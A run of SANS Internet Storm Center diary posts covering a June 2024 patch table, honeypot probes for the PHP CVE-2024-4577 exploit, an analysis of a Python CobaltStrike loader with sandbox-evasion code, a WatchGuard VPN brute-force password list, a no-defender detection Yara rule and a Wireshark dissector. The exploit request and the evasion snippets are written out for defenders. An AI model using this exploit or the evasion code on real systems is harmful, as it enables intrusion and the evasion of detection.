Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability
%%cve:2024-35255%% No No - - Important 5.5 4.8
Azure Monitor Agent Elevation of Privilege Vulnerability
%%cve:2024-35254%% No No - - Important 7.1 6.2
Azure Science Virtual Machine (DSVM) Elevation of Privilege Vulnerability
%%cve:2024-37325%% No No - - Important 8.1 7.3
Azure Storage Movement Client Library Denial of Service Vulnerability
%%cve:2024-35252%% No No - - Important 7.5 6.5
Chromium: CVE-2024-5493 Heap buffer overflow in WebRTC
%%cve:2024-5493%% No No - - -    
Chromium: CVE-2024-5494 Use after free in Dawn
%%cve:2024-5494%% No No - - -    
Chromium: CVE-2024-5495 Use after free in Dawn
%%cve:2024-5495%% No No - - -    
Chromium: CVE-2024-5496 Use after free in Media Session
%%cve:2024-5496%% No No - - -    
Chromium: CVE-2024-5497 Out of bounds memory access in Keyboard Inputs
%%cve:2024-5497%% No No - - -    
Chromium: CVE-2024-5498 Use after free in Presentation API
%%cve:2024-5498%% No No - - -    
Chromium: CVE-2024-5499 Out of bounds write in Streams API
%%cve:2024-5499%% No No - - -    
DHCP Server Service Denial of Service Vulnerability
%%cve:2024-30070%% No No - - Important 7.5 6.7
GitHub: CVE-2024-29187 WiX Burn-based bundles are vulnerable to binary hijack when run as SYSTEM
%%cve:2024-29187%% No No - - Important 7.3 6.4
MITRE: CVE-2023-50868 NSEC3 closest encloser proof can exhaust CPU
%%cve:2023-50868%% Yes No - - Important 7.5 6.5
Microsoft Azure File Sync Elevation of Privilege Vulnerability
%%cve:2024-35253%% No No - - Important 4.4 4.2
Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
%%cve:2024-35263%% No No - - Important 5.7 5.0
Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability
%%cve:2024-35248%% No No - - Important 7.3 6.4
Microsoft Dynamics 365 Business Central Remote Code Execution Vulnerability
%%cve:2024-35249%% No No - - Important 8.8 7.7
Microsoft Event Trace Log File Parsing Remote Code Execution Vulnerability
%%cve:2024-30072%% No No - - Important 7.8 6.8
Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability
%%cve:2024-30080%% No No - - Critical 9.8 8.5
Microsoft Office Remote Code Execution Vulnerability
%%cve:2024-30101%% No No - - Important 7.5 6.5
%%cve:2024-30102%% No No - - Important 7.3 6.4
%%cve:2024-30104%% No No - - Important 7.8 6.8
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2024-30103%% No No - - Important 8.8 7.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2024-30100%% No No - - Important 7.8 6.8
Microsoft Speech Application Programming Interface (SAPI) Remote Code Execution Vulnerability
%%cve:2024-30097%% No No Less Likely Less Likely Important 8.8 7.7
Microsoft Streaming Service Elevation of Privilege Vulnerability
%%cve:2024-30089%% No No - - Important 7.8 6.8
%%cve:2024-30090%% No No - - Important 7.0 6.1
Visual Studio Elevation of Privilege Vulnerability
%%cve:2024-29060%% No No - - Important 6.7 5.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2024-30052%% No No - - Important 4.7 4.1
Win32k Elevation of Privilege Vulnerability
%%cve:2024-30082%% No No - - Important 7.8 6.8
%%cve:2024-30087%% No No - - Important 7.8 6.8
%%cve:2024-30091%% No No - - Important 7.8 7.0
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2024-30085%% No No - - Important 7.8 7.0
Windows Container Manager Service Elevation of Privilege Vulnerability
%%cve:2024-30076%% No No - - Important 6.8 5.9
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2024-30096%% No No - - Important 5.5 4.8
Windows Distributed File System (DFS) Remote Code Execution Vulnerability
%%cve:2024-30063%% No No - - Important 6.7 5.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2024-30064%% No No - - Important 8.8 7.7
%%cve:2024-30068%% No No - - Important 8.8 7.7
%%cve:2024-30088%% No No - - Important 7.0 6.3
%%cve:2024-30099%% No No - - Important 7.0 6.3
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
%%cve:2024-35250%% No No - - Important 7.8 6.8
%%cve:2024-30084%% No No - - Important 7.0 6.1
Windows Link Layer Topology Discovery Protocol Remote Code Execution Vulnerability
%%cve:2024-30074%% No No - - Important 8.0 7.2
%%cve:2024-30075%% No No - - Important 8.0 7.0
Windows OLE Remote Code Execution Vulnerability
%%cve:2024-30077%% No No - - Important 8.0 7.0
Windows Perception Service Elevation of Privilege Vulnerability
%%cve:2024-35265%% No No - - Important 7.0 6.1
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2024-30069%% No No - - Important 4.7 4.1
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2024-30094%% No No - - Important 7.8 6.8
%%cve:2024-30095%% No No - - Important 7.8 6.8
Windows Standards-Based Storage Management Service Denial of Service Vulnerability
%%cve:2024-30083%% No No - - Important 7.5 6.5
Windows Standards-Based Storage Management Service Remote Code Execution Vulnerability
%%cve:2024-30062%% No No - - Important 7.8 7.0
Windows Storage Elevation of Privilege Vulnerability
%%cve:2024-30093%% No No - - Important 7.3 6.4
Windows Themes Denial of Service Vulnerability
%%cve:2024-30065%% No No - - Important 5.5 4.8
Windows Wi-Fi Driver Remote Code Execution Vulnerability
%%cve:2024-30078%% No No - - Important 8.8 7.7
Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability
%%cve:2024-30086%% No No - - Important 7.8 6.8
Winlogon Elevation of Privilege Vulnerability
%%cve:2024-30066%% No No - - Important 5.5 4.8
%%cve:2024-30067%% No No - - Important 5.5 4.8

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-06-09

Attacker Probing for New PHP Vulnerablity CVE-2024-4577

Our honeypots have detected the first probes for CVE-2024-4577. This vulnerability was originally discovered by Orange Tsai on Friday (June 7th) [1][2]. Watchtwr labs followed up with a detailed blog post and a proof of concept exploit [3].

Watchtwr Labs says PHP is only vulnerable if used in CGI mode in Chinese and Japanese locales. According to Orange Tsai, other locales may be vulnerable as well.

In CGI mode on Windows, the web server will execute "php.exe" and pass user-supplied parameters as command line or environment variables. This may potentially lead to OS command injection, a vulnerability I just covered last week in a video [4].

As parameters are passed from Apache to the command line, Apache will escape hyphens and render them harmless. However, an attacker may provide a "soft hyphen" (Unicode code point 0x00AD). PHP performs "best fit mapping" on characters passed on the command line, translating it to a dash. This allows an attacker to bypass the Apache escape process, and inject dashes. With that, an attacker can supply command line arguments to php.exe. A possibly choice outlined by Watchtwr is:

-d allow_url_include=1 -d auto_prepend_file=php://input

This will prepend the body of a POST request, leading to PHP code execution.

The exploit I have seen so far matches that pattern:

POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: [honeypot IP address redacted]
User-Agent: Go-http-client/1.1
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

<?php die(md5(124*234));?>

 

This type of hash calculation is typical for verifying PHP vulnerabilities. In itself, it does not cause problems, but it may be used to find vulnerable systems for further exploitation.

One IP address I have seen use this scan is %%ip:79.124.49.158%%. This IP address has been active in our logs since March and has attempted other PHP-related exploits.

Last week, PHP released updates for currently supported versions, addressing this vulnerability. 

[1] https://x.com/orange_8361/status/1798919363376066781
[2] https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
[3] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[4] https://www.youtube.com/watch?v=7QDO3pZbum8

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-06-07

Finding End of Support Dates: UK PTSI Regulation

One of the challenges with many IoT devices, in particular those targeting consumers and small businesses, is the ability to find how long a device is supported. This "expiration date" is becoming important as vulnerabilities are often discovered after a product no longer receives updates. In this case, users are often out of luck and left with a vulnerable device. Manufacturers will often not even acknowledge the vulnerability or provide notifications to users.

This will also make it difficult buying a device. It is often not clear what the "expiration date" of the device will be, and in some cases, you may purchase a device that no longer receives any updates.

Luckily, the UK government is here to help. As of April, any supplier of internet-connected devices in the UK must file a "Declaration of Compliance" with the UK's Office of Office for Product Safety & Standards [1]. Failing to do so can lead to hefty fines. The statement must include the minimum support period for the device. The same regulation also requires unique passwords and contact information to report vulnerabilities. 

Sadly, I haven't found a simple database to look up this declaration of compliance, but vendors post it on their websites. The regulation also states that the statement of compliance must accompany the product. But when you buy and open the product, it may be too late. Vendors may include this statement outside of the UK for simplicity, as you often find a long list of compliance statements for various locations included. Still, there is no guarantee that vendors will do this.

However, many vendors choose to make these statements public on their website. I collected below a few from popular vendors:

Supplier Statement URL
Apple https://regulatoryinfo.apple.com/ukpsti
Asus https://www.asus.com/support/faq/1051929/
GL.Inet https://www.gl-inet.com/psti/
GoPro https://gopro.com/en/us/legal/uk-psti-compliance
Google https://support.google.com/product-documentation/answer/14869041?hl=en
Lenovo https://www.lenovo.com/us/outletus/en/compliance/uk-psti-soc/
Linksys https://downloads.linksys.com/support/assets/others/UK_PTSI_Statement_of_Compliance_w_products.pdf
Motorola https://en-gb.support.motorola.com/app/answers/detail/a_id/178271/~/uk-psti
Netgear https://kb.netgear.com/000066102/UK-PSTI-Declaration-of-Conformity
Philips https://www.documents.philips.com/assets/UK%20Declaration%20of%20Conformity/20240530/78360cfd353b45bd944eb180001d9832.pdf
Samsung https://news.samsung.com/uk/notice-new-uk-product-security-and-telecommunications-infrastructure-psti-law
TP-Link https://www.tp-link.com/uk/support/psti/

 

Please let me know if you know of a better database that lists the compliance statements. For example, I could not find one for Ubiquity (Unifi). However, I believe they are still using the default password "ubnt" which puts them out of compliance.

I recommend labeling new devices with the purchase date and the end of support date as you receive them. The purchase date is good to have handy for warranty purposes, and the end of support date is important to know when you will have to replace the device.

[1] https://www.gov.uk/government/publications/the-uk-product-security-and-telecommunications-infrastructure-product-security-regime
 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-06-06

Malicious Python Script with a "Best Before" Date

When you buy some fresh food, it's always a good idea to keep an eye on the best-before date. I found a funny piece of malicious Python script that implements the same technique. It will execute only before a specified date (Jun 10th in this case). The script purpose is classic: it will fetch a payload from a remote site, inject it in memory and start a new thread. Such payload are usually related to CobaltStike. I think that the script is still being developed and the attacker tested its score on VT because the payload is fetched from an RFC1918 IP address.

I won't cover the code injection part because it's super common: 

  1. Allocate some memory with VirtualAlloc() and 0x40 (PAGE_EXECUTE_READWRITE)
  2. Copy the payload in the newly allocated memory with RtlMoveMemory()
  3. Launch if with CreateThread() and WaitForSingleObject()

The most interesting part is related to the anti-VM and anti-debugging techniques. The script implements multiple checks.

First, as said in the title, it has an expiration date and won't detonate after it:

YLtsrDkSMJIUX = datetime.now()
tOyPJeSBB = datetime.strptime("24-06-10","%y-%m-%d") 
if YLtsrDkSMJIUX < tOyPJeSBB:

Then, it detects if a user is using the mouse:

sPrMcMrd = 0
ZSAdShMGbnjn = 300
while sPrMcMrd < ZSAdShMGbnjn:
    lhCIIwcaO = win32api.GetAsyncKeyState(1)
    PUlVQpUUGQwz = win32api.GetAsyncKeyState(2)
    if lhCIIwcaO % 2 == 1:
        sPrMcMrd += 1
    if PUlVQpUUGQwz % 2 == 1:
        sPrMcMrd += 1
if sPrMcMrd >= ZSAdShMGbnjn:

GetAsyncKeyState() is used to detect if the user presses some keys but this API call can do more. If you pass the keycodes 0x01 or 0x02, you will test if, respectively, the left and right mouse button is used[1].

Then,  it detects if the mouse is moving:

SJlEvm, OsmSmAnVBYAbB = win32api.GetCursorPos()
sleep(30)
mCBvRLEZPc, FTIUWfDRINwDu = win32api.GetCursorPos()
if SJlEvm - mCBvRLEZPc != 0 or OsmSmAnVBYAbB - FTIUWfDRINwDu != 0:

Why checling the mouse position if we already detected a "click"? Some old sandboxes just move the mouse or simulate click but not both. 

The system timezone is also checked:

import time as eJXueV
if eJXueV.tzname[0] != "Coordinated Universal Time" and eJXueV.tzname[1] != "Coordinated Universal Time":

Finally, some sandboxes manipulate the system clock. For bypass this, the script tests the time via NTP:

client = socket.socket(AF_INET, SOCK_DGRAM)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
msg, address = client.recvfrom( 1024 )
trdooQNWRx = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
sleep(1500)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
msg, address = client.recvfrom( 1024 )
if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - trdooQNWRx).seconds >= 1500):

If all these conditions are met, the payload is fetched and injected in memory.

To fetch the payload, a random 4-characters string is added as URI:

def uwvPCLCq(s): return sum([ord(ch) for ch in s]) % 0x100
def eZXAAmANKYtzQ():
    for x in range(64):
         afeookOu = ''.join(random.sample(string.ascii_letters + string.digits,3))
         wOozSRtIoWO = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
         for BuJqgEjrd in wOozSRtIoWO:
             if uwvPCLCq(afeookOu + BuJqgEjrd) == 92: return afeookOu + BuJqgEjrd

Here is an example:

>>> eZXAAmANKYtzQ()
'9XuV'
>>> eZXAAmANKYtzQ()
'NOpO'
>>> eZXAAmANKYtzQ()
'ETqR'

This looks exactly like a default CobaltStrike beacon! The script has currently a score of 12/71 on VT (SHA256: eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f[2])

[1] https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
[2] https://www.virustotal.com/gui/file/eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2024-06-05

Brute Force Attacks Against Watchguard VPN Endpoints

If you have a pulse and work in information security (or are a new scraping script without a pulse), you have probably seen reports of attacks against VPN endpoints. Running any VPN without strong authentication has been negligent for years, but in recent times, ransomware gangs, in particular, picked them off pretty quickly.

One of our honeypots just saw an attacker move through, attempting to brute force a Watchguard firewall VPN. I haven't seen much written about Watchguard lately, so I figured this may be a good reminder. The requests I was seeing against one honeypot in particular:

 

POST /wgcgi.cgi HTTP/1.1\
Host: [honeypot IP address redacted]:4443
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

fw_username=robert&fw_password=123456a%21&submit=Login&action=sslvpn_web_logon&fw_logon_type=logon&lang=en-US

Note the bare-bones headers without a user agent, suggesting a simple script to be used for these attacks.

The main source of these attacks so far has been %%ip:185.122.204.102%%. In February, this IP address hit a couple of other URLs, such as login.

Interestingly, so far, I have seen only two usernames being used: "jason" and "robert". Not sure why this is significant.

The list of passwords is a bit longer:
 

1
123%40secure
123456
1234567
123456a%21
1qazxsw23edc%21
%24ecure%40123
32Yp6jan
456%40%23pass%40
admin
Admin1234
admin2
Admin%4012345
ASDqwe%40123
itsupport
letmein
P%40ss0wrd
P%40ss1234
P%40ssw0rd
P%40ssw0rd12345
P%40ssw0rduser1
P%40zzw0rd%21123
Pa%24%24word%231
Pa55word
pass2828
password
Password01%21
password4321
qweasdzxc
sslvpn
sslvpnuser
Test123%21
vpn%40dmin
VPNgrp
Welcome123%21
Welcome2020%21
Welcome2%2B

You may want to block the use of any of these passwords and add them to your brute force list.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

1 Comments

Published: 2024-06-04

No-Defender, Yes-Defender

This is a guest diary by John Moutos

Recently I was made aware of a neat utility (https://github.com/es3n1n/no-defender/) which provides the capability to disable Windows Defender by abusing the WSC (Windows Security Center) registration that other AV and EDR providers utilize to become the main provider on systems, mostly to avoid conflict with Windows Defender.

It does this by abusing the middle-man WSC proxy app Avast bundles with their software, which provides access to the necessary WSC APIs for registration, and registers itself as an fraudulent AV provider, forcing Defender to step down (periodic scanning will still function if enabled manually).

As with all utilities that have the potential to aid in defense evasion, this will eventually make the rounds with active threat groups, until it is deemed obsolete or no longer viable.

To detect usage of this or similar tools, monitoring the “SecurityCenter” Windows event log for event ID 15 is ideal. This can help identify if an unwanted application registered and enabled itself as a security provider in place of Defender.

xml from security center

Figure 1: Triggered Event

Additionally, blocking the Avast signing certificate through an AppLocker publisher rule could also help hinder use of the tool.

applocker deny rule

At the time of writing, EDR and AV vendors are picking up on this quickly, as evidenced by the threat label in VirusTotal and the increasing detection count.

no devender loader detection

Figure 3: No-defender Loader detection [2]

no defender detection

Figure 4: No-defender Detection[3]

Also included is a Yara rule to detect the Avast WSC Proxy components. Hash rules may be sufficient, but older versions of the components may also be equally vulnerable to abuse.

Yara Rule

import "pe"

rule nodefender_avastwsc
{
   meta:
      description = "Avast wsc proxy components used by no-defender"
  hash = "79e53d36a40951ab328e153bac9c1e3adf3330b45899345e645889b9046f06e0"
  hash = "de820b5e592cf456f6a4f8356195c4a335a51c6354ca7ac32ccd390e62d9becc"
   strings:
        $a1 = "Avast Software s.r.o" nocase
  $a2 = "Cannot enable RPC marshaling into service when Avast client integration is not set" nocase
  $a3 = {77 00 73 00 63 00 2E 00 64 00 6C 00 6C 00 00 00 72 75 6E}
  $a4 = "BUILDS\\Release\\x64\\wsc_proxy.pdb" nocase
  $s1 = {09 02 B3 6B 32 51 C3 28 08 3F 77 7C A0 84 28 FF}
  $s2 = {03 F0 2A CA 05 1D 1C 93 30 EE AB D3 70 6E 83 6F}
   condition:
      uint16(0) == 0x5a4d
      and $a1 and ($s1 or $s2) and ($a2 or $a3 or $a4)
      and for any i in (0 .. pe.number_of_signatures) : (
         (pe.signatures[i].issuer contains "DigiCert High Assurance Code Signing CA-1"
 or pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1")
 and pe.signatures[i].subject contains "Avast"
      )
}

References:

[1] https://github.com/es3n1n/no-defender
[2] https://www.virustotal.com/gui/file/f4652a2073f72a1fc64dfc08a3a56c258f30cc4737ab9feefb602d54ec4c68b5
[3] https://www.virustotal.com/gui/file/54fc10e6f2675adb1e712ab7afd0d8e1a561b0fbebc7aa0d3fcf90c09a9597a6
 

0 Comments

Published: 2024-06-03

A Wireshark Lua Dissector for Fixed Field Length Protocols

I developed a Wireshark dissector in Lua to parse binary protocols (over TCP) that are composed of fields with fixed lengths. I got this idea while taking a SANS ICS training: for protocol reversing, it would be useful to have a dissector where I can configure the fields (length, type, name, ...).

As an example, I'm using a packet capture of a demo protocol for firmware upload (didactic).

The format of the protocol data unit (PDU) looks like this:

  • Byte 1: the function of the PDU (0x10 start upload, 0x11 upload, 0x12 end upload)
  • Byte 2: the direction (0 from client to server, 1 from server to client)
  • Byte 3 and 4: a PDU counter for uploads, it's a little-endian integer
  • Byte 5 and 6: the length of the uploaded data, it's a little-endian integer
  • Bytes 7 and following: the uploaded data

Command-line arguments are provided to configure the Lua dissector to parse this traffic:

"c:\Program Files\Wireshark\Wireshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:port:50500 -X lua_script1:protocolname:firmware -X lua_script1:fieldlengths:1:B,1:B,2:L,2:L -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data capture-firmware-upload.pcapng

"-X lua_script:fl-dissector.lua" loads dissector fl-dissector.lua in Wireshark.

"-X lua_script1:port:50500" provides a port:50500 option value to the dissector. This specifies the TCP port (50500) of the traffic that should be dissected.

"-X lua_script1:protocolname:firmware" specifies the name of the protocol.

"-X lua_script1:fieldlengths:1:B,1:B,2:L,2:L" specifies the field lengths: 1 byte, 1 byte, 2 bytes and 2 bytes. The 2 bytes fields are little-endian integers (:L).

"-X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data" specifies the names of the fields.

Configured like this, the protocol "firmware" is added to Wireshark and used for dissecting traffic over TCP port 50500:

Once the dissector is defined, it can be used to filter traffic. For example, in the above screenshot, I use display filter "firmware" to limit the view to this firmware protocol.

I can even use tshark to extract the uploaded firmware. For this, I switch to tshark:

"c:\Program Files\Wireshark\tshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:protocolname:firmware -X lua_script1:port:50500 -X lua_script1:fieldlengths:1,1,2,2 -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data -r capture-firmware-upload.pcapng -Y "(firmware.Function == 0x11) && (firmware.Direction == 0)" -e firmware.Data -Tfields

The arguments for the dissector are the same. I use a display filter (-Y "(firmware.Function == 0x11) && (firmware.Direction == 0)") to filter for PDUs that upload the firmware (function == 0x11) to the server (direction == 0). I configure tshark to just output the value of field data as hexadecimal (-e firmware.Data -Tfields). This is the result:

Next, I convert this hexadecimal data to binary with my tool hex-to-bin.py, and use another tool (file-magic.py) to try to identify the uploaded data:

It is a ZIP file, this can be confirmed with my zipdump.py tool:

I created this packet capture file of a firmware upload to an IoT device for didactic purposes, e.g., to explain a process of reverse engineering a binary network protocol.

If you want to know more about this, take a look at my blog post "Reversing A Network Protocol" and YouTube video "Reversing A Network Protocol".

YouTube Video

Didier Stevens
Senior handler
blog.DidierStevens.com

0 Comments